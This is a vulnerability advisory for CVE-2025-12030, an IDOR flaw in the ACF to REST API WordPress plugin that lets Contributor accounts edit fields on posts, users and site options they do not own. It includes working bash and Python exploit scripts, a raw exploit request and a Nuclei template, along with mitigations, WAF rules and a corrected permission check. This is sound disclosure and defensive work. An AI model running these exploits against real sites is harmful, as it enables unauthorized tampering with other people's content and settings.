
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own.
Keywords: CVE-2025-12030, ACF to REST API vulnerability, IDOR, WordPress security, authenticated exploit, WordPress plugin vulnerability, CWE-639, ACF field modification, authorization bypass, WordPress CVE 2025, Advanced Custom Fields, REST API security
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own.
An Insecure Direct Object Reference (IDOR) vulnerability was discovered in the ACF to REST API WordPress Plugin that allows authenticated attackers with minimal privileges to modify ACF fields across the entire WordPress installation.
Discovered by: Kai Aizen (SnailSploit)
Published: January 6, 2026
CVSS Score: 4.3 (Medium)
CWE: CWE-639 - Authorization Bypass Through User-Controlled Key
Plugin: ACF to REST API
Plugin Slug: acf-to-rest-api
Attack Type: Insecure Direct Object Reference (IDOR)
Required Privileges: Contributor+ (Authenticated Attack)
The ACF to REST API plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.3.4. This is due to insufficient capability checks in the update_item_permissions_check() method, which only verifies that the current user has the edit_posts capability without checking object-specific permissions (e.g., edit_post($id), edit_user($id), manage_options).
This vulnerability allows authenticated attackers with Contributor-level access and above to:
manage_options capabilityAll modifications are possible via the /wp-json/acf/v3/{type}/{id} REST API endpoints.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CVSS v3.1 Breakdown:
The vulnerability exists in the update_item_permissions_check() method which performs insufficient authorization:
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
The proper implementation should check object-specific permissions:
// Secure implementation pattern
public function update_item_permissions_check( $request ) {
$id = $request->get_param( 'id' );
$type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
The vulnerability can be exploited through the WordPress REST API by any authenticated user with at least Contributor role.
⚠️ For Educational and Authorized Testing Purposes Only
#!/bin/bash
# CVE-2025-12030 PoC - ACF to REST API IDOR
TARGET_URL="$1"
USERNAME="$2"
APP_PASSWORD="$3"
TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then
echo "Usage: $0 <target_url> <username> <app_password> <post_id>"
echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42"
exit 1
fi
echo "[*] CVE-2025-12030 - ACF to REST API IDOR PoC"
echo "[*] Target: $TARGET_URL"
echo "[*] Target Post ID: $TARGET_POST_ID"
echo ""
# Encode credentials
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
# Step 1: Read current ACF fields (verify access)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
-H "Authorization: Basic $AUTH" \
| python3 -m json.tool
echo ""
# Step 2: Attempt to modify ACF fields on post we don't own
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
-H "Authorization: Basic $AUTH" \
-H "Content-Type: application/json" \
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo ""
if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then
echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!"
else
echo "[+] Not vulnerable or modification failed"
fi
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64
def exploit(target_url, username, app_password, target_id, target_type="posts"):
"""
Exploit CVE-2025-12030 IDOR vulnerability
Args:
target_url: WordPress site URL
username: Contributor-level username
app_password: Application password
target_id: ID of the object to modify (post, user, etc.)
target_type: Type of object (posts, pages, users, options, etc.)
"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
# Create Basic Auth header
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
print(f"[*] Target: {target_url}")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] Object Type: {target_type}")
print(f"[*] Object ID: {target_id}\n")
# Step 1: Read current ACF fields
print("[*] Step 1: Reading current ACF fields...")
try:
response = requests.get(api_endpoint, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Current ACF fields:")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Failed to read fields: {response.status_code}")
print(response.text)
except requests.RequestException as e:
print(f"[-] Error reading fields: {e}")
return
print("")
# Step 2: Attempt IDOR modification
print("[*] Step 2: Attempting unauthorized modification...")
payload = {
"fields": {
"idor_test": "CVE-2025-12030_IDOR_VERIFIED"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
result = response.json()
print(f"[+] Response:")
print(json.dumps(result, indent=2))
if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
print("[!] Contributor-level user was able to modify objects they don't own!")
else:
print("\n[+] Modification request accepted - verify manually")
else:
print(f"[-] Request failed with status: {response.status_code}")
print(f"Response: {response.text}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
def test_options_page(target_url, username, app_password):
"""Test modification of global options page (requires manage_options normally)"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"\n[*] Testing Options Page IDOR...")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] NOTE: This normally requires manage_options capability!\n")
payload = {
"fields": {
"site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
print(f"[!] CRITICAL: Contributor modified global options page!")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Options modification failed: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
print(f"\nSupported types: posts, pages, users, comments, options")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
app_password = sys.argv[3]
target_id = sys.argv[4]
target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
exploit(target_url, username, app_password, target_id, target_type)
# Also test options page access
if target_type != "options":
test_options_page(target_url, username, app_password)
Immediate Action Required:
⚠️ No official patch is currently available for this vulnerability.
Add to your theme's functions.php or a custom plugin:
<?php
/**
* Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
*/
add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
// Only allow administrators to modify via REST API
if (!current_user_can('manage_options')) {
return new WP_Error(
'rest_forbidden',
__('You do not have permission to modify ACF fields via REST API.'),
array('status' => 403)
);
}
return $permission;
}, 10, 3);
# Block ACF REST API modification endpoints for non-admins
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$
RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC]
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC]
RewriteRule .* - [F,L]
</IfModule>
# Block ACF REST API modification requests
location ~* ^/wp-json/acf/v3/ {
if ($request_method ~* "(PUT|POST|PATCH)") {
# Implement proper authorization check or block entirely
return 403;
}
try_files $uri $uri/ /index.php?$args;
}
If forking or patching the plugin, implement proper object-specific authorization:
<?php
/**
* Secure implementation of update_item_permissions_check
*/
public function update_item_permissions_check( $request ) {
$id = $request->get_param( 'id' );
$type = $this->get_object_type( $request );
switch ( $type ) {
case 'post':
case 'page':
// Check if user can edit THIS specific post
if ( ! current_user_can( 'edit_post', $id ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit this post.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
case 'user':
// Check if user can edit THIS specific user
if ( ! current_user_can( 'edit_user', $id ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
case 'option':
// Options require manage_options capability
if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to manage options.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
case 'term':
$taxonomy = $request->get_param( 'taxonomy' );
$tax_obj = get_taxonomy( $taxonomy );
if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit terms.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
case 'comment':
if ( ! current_user_can( 'edit_comment', $id ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit this comment.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
default:
return new WP_Error(
'rest_invalid_type',
__( 'Invalid object type.' ),
array( 'status' => 400 )
);
}
return true;
}
Search for suspicious REST API activity:
# Search access logs for ACF REST API modification attempts
grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log
grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log
# Check if vulnerable version is installed
wp plugin list | grep -i "acf-to-rest-api"
# Get plugin version
wp plugin get acf-to-rest-api --field=version
Nuclei Template:
id: CVE-2025-12030
info:
name: ACF to REST API - IDOR ACF Field Modification
author: SnailSploit
severity: medium
description: ACF to REST API plugin for WordPress is vulnerable to IDOR
reference:
- https://github.com/SnailSploit/CVE-2025-12030
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification
tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated
http:
- raw:
- |
POST /wp-json/acf/v3/posts/1 HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(username + ':' + password)}}
Content-Type: application/json
{"fields":{"nuclei_test":"CVE-2025-12030"}}
matchers-condition: and
matchers:
- type: word
words:
- "acf"
condition: or
- type: status
status:
- 200
ModSecurity Rule:
# CVE-2025-12030 - Block unauthorized ACF REST API modifications
SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \
"id:2025012030,\
phase:2,\
t:none,t:urlDecodeUni,t:normalizePathWin,\
chain,\
deny,\
status:403,\
log,\
msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'"
SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none"
Researcher:
Disclosure Process: Coordinated through Wordfence Bug Bounty Program
This information is provided for security research and defensive purposes only. Any exploitation of this vulnerability for malicious purposes is illegal and unethical. Always obtain proper authorization before testing systems you do not own.
For questions or additional information about this vulnerability:
Last updated: January 6, 2026
This project's full writeup, methodology, and related research lives at:
https://snailsploit.com/security-research/cves/cve-2025-12030/
Created by Kai Aizen — independent offensive security researcher.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Same attack. Different substrate.
| Metric | Value |
|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | None (A:N) |
| Endpoint | Target | Required Capability (Should Be) |
|---|
/wp-json/acf/v3/posts/{id} | Posts | edit_post($id) |
/wp-json/acf/v3/pages/{id} | Pages | edit_page($id) |
/wp-json/acf/v3/users/{id} | Users | edit_user($id) |
/wp-json/acf/v3/comments/{id} | Comments | edit_comment($id) |
/wp-json/acf/v3/terms/{taxonomy}/{id} | Terms | edit_term($id) |
/wp-json/acf/v3/options/{option} | Options | manage_options |